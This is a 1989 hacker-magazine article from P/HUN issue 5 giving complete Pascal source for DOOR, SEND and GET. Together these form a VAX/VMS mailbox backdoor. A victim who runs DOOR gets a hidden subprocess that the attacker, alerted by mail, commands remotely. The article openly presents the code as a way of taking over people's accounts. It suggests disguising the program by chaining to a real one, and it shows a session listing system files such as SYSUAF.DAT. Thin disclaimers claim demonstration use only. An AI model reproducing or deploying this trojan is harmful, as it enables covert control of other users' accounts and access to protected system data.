Baliord's VMS Tricks Vol 2: DOOR
                --------------------------------       
                          By  Baliord


                  Phile #7 of P/HUN Magazine Issue #5

    The following program was designed to be an example of the use of
VAX/VMS Mailboxes for multi-process control.  Any use of the program
is the responsibility of the person compiling and/or running the
program.
 
    In this file, we look at the use of VMS's Mailbox facilities.  The VMS
Mailbox was designed as a way of assisting interprocess communication for
non-priviledged users.  An example of a program that uses the MBX facility
is PHONE.  PHONE uses the mailboxes, along with system-wide logical names, to
allow users to send information packets back and forth.
    In the last file I discussed how to take advantage of PHONE's "open"
logical names for confusing users.  In this installation, you will see how
MBX's are VERY useful in taking over people's accounts.
    This program is called DOOR (a name given it by CW, a very helpful friend
who doesn't have a handle), and it allows the "default_control" user to control
the account of any person who runs this program.
    The code does the following:
 
1)  The control_user string is set to the user who will recieve the MAIL that
this user is now "accessible."
 
2)  The MBX's necessary are created, using the INDOOR and OUTDOOR logical
names as storage area for the MBAxxx: strings.  (If the person already has
INDOOR and OUTDOOR defined in their main process, then the program will NOT
work.)
 
3)  The program waits 1 second, to assure that the MBX's have time to become
registered with the system.
 
4)  INDOOR and OUTDOOR are converted back from logical names to the actual
device names so the control_user can be told what they are.
 
5)  The process is spawned off with the first command being to tell the
control_user what the MBX numbers are.
 
6)  The program then ends.  (At this position, an interesting thing to put
might be a chain to whatever program name you call it with the version number
as -1.  I.E.  DOOR.EXE;-1 would be the program you chain to.  Then the program
would, in effect, create the process, then execute a real program.)
 
     The control_user must then read their mail and create two MBX's that
correspond to the information given in the mail.
I.E.
    OUTDOOR=_MBA211: INDOOR=_MBA212:
would be ASSIGNED at the DCL level as ASSIGN MBA211: OUTDOOR and
                                      ASSIGN MBA212: INDOOR
This must be done before the next two programs can be run.
 
     The next two programs are, in order, the SEND program and the program to
GET the information.
 
     The SEND program assumes that you have entered a
SEND:==$[directory]SEND.EXE
                           command.  It takes whatever you typed after the
SEND command and sends it through to the INDOOR mailbox.  The directory in
the definition above is the directory you are keeping the SEND program in.
 
     The GET program is the next program, and can be run directly.  Or you
can create a
GET:==$[directory]GET.EXE
                         command.
 
     The process for operation is illustrated here.
 
$ mail
 
You have 1 new message.
 
MAIL>
    #1          23-JUL-1989 02:08:03                              NEWMAIL
From:   HEAVEN::DEVIL     "Heaven doesn't wan't me, so I took over Hell."
To:     GOD
Subj:   OUTDOOR=_MBA230: INDOOR=_MBA231:
 
 
MAIL>  Exit
$ assign MBA230: outdoor
$ assign MBA231: indoor
$ send dir *.com
$ get
 
Directory DRC0:[HELL.DEVIL]
 
LOGIN.COM;1
 
Total of 1 file.
$ send mail comp.com god
$
New mail on node HEAVEN from DEVIL     "Heaven doesn't want me, so I took over Hell."
$ get
$ send dir sys$system:*.dat
$ get
 
Directory SYS$SYSROOT:[SYSEXE]
 
DNAMES.DAT;1        MODPARAMS.DAT;1     NETCIRC.DAT;1       NETCONF.DAT;1
NETLINE.DAT;1       NETLOGING.DAT;1     NETNODE.DAT;1       NETNODE_LOCAL.DAT;1
NETNODE_REMOTE.DAT;1                    NETOBJECT.DAT;1     OLDSITE1.DAT;4
OLDSITE2.DAT;5      OLDSITE3.DAT;5      OLDSITE4.DAT;5      PARAMS.DAT;5
SDAT.DAT;1          SETPARAMS.DAT;5     SPSSERR.DAT;4       SPSSINFO.DAT;4
SPSSUDF9.DAT;1      USAGE.DAT;1
 
Total of 21 files.
 
Directory SYS$COMMON:[SYSEXE]
 
FAKE.DAT;1          JBCSYSQUE.DAT;1     MODPARAMS.DAT;1     RIGHTSLIST.DAT;1
SYSUAF.DAT;1        VMSMAIL.DAT;1       VMSPARAMS.DAT;1
 
Total of 7 files.
 
Grand total of 2 directories, 28 files.
$ send stop/id=0
$ sho sys/subproc
$
 
 
     I think that's enough examples for you to be able to figure out what
else to do yourself.
 

DOOR.PAS follows:
 
{
 
DOOR
Copyright (c) 1989 by Baliord and CW
 
     This program creates a subprocess with input and output being directed
     to Mailboxes.  It is originally intended for use only as a demonstration
     of the power of mailboxes.  The authors take no responsibility for the
     mischevious or dangerous use of this program.  It is only designed as
     an example of what CAN be done, and is not expected to be actually used.
 
}
 
[ INHERIT( 'SYS$LIBRARY:STARLET' ) ]
program door( input, output );
 
const
  max = 132;
  default_control = 'GOD';          { default user that gets mail message }
  inbox = 'INDOOR';                 { Logical name (must be capital). }
  outbox = 'OUTDOOR';               { Logical name (must be capital). }
 
type
  word_type = [ word ]0..65535;
  string = VarYING [ MAX ] of char;
 
Var
  subject, user, mail_command, control_user, outdev, indev : string;
  inchannel, outchannel : word_type;  { mailbox channels }
  a, length : integer;
 
    [ asynchronous ]
    function lib$sys_trnlog( %descr logical_name : varying[ l1 ] of char;
                             %ref name_length : integer := %immed 0;
                             %descr equivalence : varying[ l2 ] of char;
                             %ref table : integer := %immed 0 ) : integer;
      external;
 
    [ asynchronous ]
    function lib$spawn( %descr command : varying[ l1 ] of char := %immed 0;
                        %descr inp : varying[ l2 ] of char := %immed 0;
                        out : varying[ l3 ] of char := %immed 0;
                        %ref flags : integer := %immed 0;
                        %descr process_name : varying[ l4 ] of char := %immed 0;
                        %ref pid, status, efn : integer := %immed 0;
                        [ unbound, asynchronous ]
                        procedure ast( %immed p1 : [ unsafe ]integer ) := %immed 0;
                        ast_parameter : [ unsafe ]integer := %immed 0;
                        prompt : varying [l5] of char := %immed 0;
                        cli : varying [l6] of char := %immed 0 ) : integer;
      external;
 
procedure sleep(t : real);              (* program will sleep 't' *)
var                                     (* seconds. *)
    t1 : real;
 
begin
      t1:=clock/1000;
      t:=t1+t;
      while t1<t do
          t1:=clock/1000;
end;
 
begin
  control_user := default_control;
 
  $crembx(  , inchannel, max, 1000, 0, , inbox );    { Create input mailbox. }
  $crembx(  , outchannel, max, 1000, 0, , outbox );  { Create output mailbox. }
 
  sleep( 5 );                                           { Wait for mailbox to be created. }
 
  lib$sys_trnlog( inbox, length, indev );             { get device name }
  indev.length := length;
 
  lib$sys_trnlog( outbox, length, outdev );           { get device name }
  outdev.length := length;
 
  mail_command:= 'MAIL/NOSELF NL: ' + control_user + '/SUBJECT="' + 'OUTDOOR=' + indev + ' INDOOR=' + outdev + '"';
 
  lib$spawn( mail_command, inbox, outbox, cli$m_nowait );  { Spawn process. }
 
end.
-----------------------------------------------------------------------------
SEND.PAS follows:
 
{
 
SEND
 
Copyright (c) 1989 by Baliord and CW
 
     This program was designed explicitly to send information to a MBX.  It
     was originally designed to work with the DOOR program.  The authors take
     no responsibility for the ignorant or malicious use of this program.  It
     is designed as a sample of what CAN be done with certain features of the
     VMS operating system.  It is only designed as a sample, and is not
     intended for use.
 
}
 
[ INHERIT( 'SYS$LIBRARY:STARLET' ) ]
program send_slave( output );
 
  const
    mailbox_name = 'OUTDOOR';  { Logical name (must be capital). }
    max = 132;
 
  type
    string_type = VARYING [ MAX ] OF CHAR;
    word_type   = [ word ]0..65535;
 
  var
    mailbox_channel : word_type;
    command, mailbox_device_name : string_type;
    length : integer;
 
    [ asynchronous ]
    function lib$sys_trnlog( %descr logical_name : varying[ l1 ] of char;
                             %ref name_length : integer := %immed 0;
                             %descr equivalence : varying[ l2 ] of char;
                             %ref table : integer := %immed 0 ) : integer;
      external;
 
    [ asynchronous ]
    function lib$get_foreign( %descr string : varying[ l1 ] of char;
                              %descr prompt : varying[ l2 ] of char := %immed 0;
                              %ref out_length, force : integer := 0 ) : integer;
      external;
 
  begin
    if lib$sys_trnlog(mailbox_name,length,mailbox_device_name)>ss$_normal then
      writeln( 'Mailbox ', mailbox_name, ' does not exist.' )
    else
      begin
        mailbox_device_name.length := length;
        $assign( mailbox_device_name, mailbox_channel );   { Assign channel }
        lib$get_foreign( command );                        { Get command }
        $qio( , mailbox_channel, io$_writevblk + io$m_noformat + io$m_now,
              ,,, command.body, command.length, );         { Send command. }
      end;
  end.
-----------------------------------------------------------------------------
GET.PAS follows:
 
{
 
GET
 
Copyright (c) 1989 by Baliord
 
     This program was designed to read the output from a MBX.  In particular
     it is made to work with the DOOR program.  The use of this program is
     not the responsibility of the authors of the program, as that it is
     designed as an example of what CAN be done.  It is not intended to be
     actually used.
 
}
 
[ INHERIT( 'SYS$LIBRARY:STARLET' ) ]
program read_slave( input,output );
 
  const
    mailbox_name = 'INDOOR';  { Logical name (must be capital). }
    max = 132;
 
  type
    word_type = [ word ]0..65535;
    string_type = VARYING[ MAX ] OF CHAR;
 
  var
    iosb            : array [1..2] of integer;
    mailbox_channel : word_type;
    ret,command, mailbox_device_name : string_type;
    length : integer;
 
    [ asynchronous ]
    function lib$sys_trnlog( %descr logical_name : varying[ l1 ] of char;
                             %ref name_length : integer := %immed 0;
                             %descr equivalence : varying[ l2 ] of char;
                             %ref table : integer := %immed 0 ) : integer;
      external;
 
  begin
    if lib$sys_trnlog(mailbox_name,length,mailbox_device_name)>ss$_normal then
      writeln( 'Mailbox ', mailbox_name, ' does not exist.' )
    else
      begin
        $assign( mailbox_device_name, mailbox_channel );   { Assign channel }
        repeat
          command.body:='';
          mailbox_device_name.length := length;
          $qio(,mailbox_channel,io$_readvblk+io$m_now,iosb,,,command.body,80);
          command.length:=80;
          if iosb[1]<>ss$_endoffile then writeln(command);
        until iosb[1]=ss$_endoffile;
      end;
  end.


 This file was produced specifically for the uses of P/HUN magazine and its
 editor.  Any publication outside of that magazine, or distribution seperate
 from that magazine without the express written approval of the author of
 this document OR THE EDITOR OF P/HUN MAGAZINE is in violation of the author's
 wishes. The only exception to this is that you are free to load these files
 onto systems for compilation.  However, if you are going to use them, you MUST
 leave the comments intact.  When referring to this program, give credit
 where credit is due.  ALWAYS leave the disclaimers intact.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Downloaded From P-80 International Information Systems 304-744-2253 12yrs+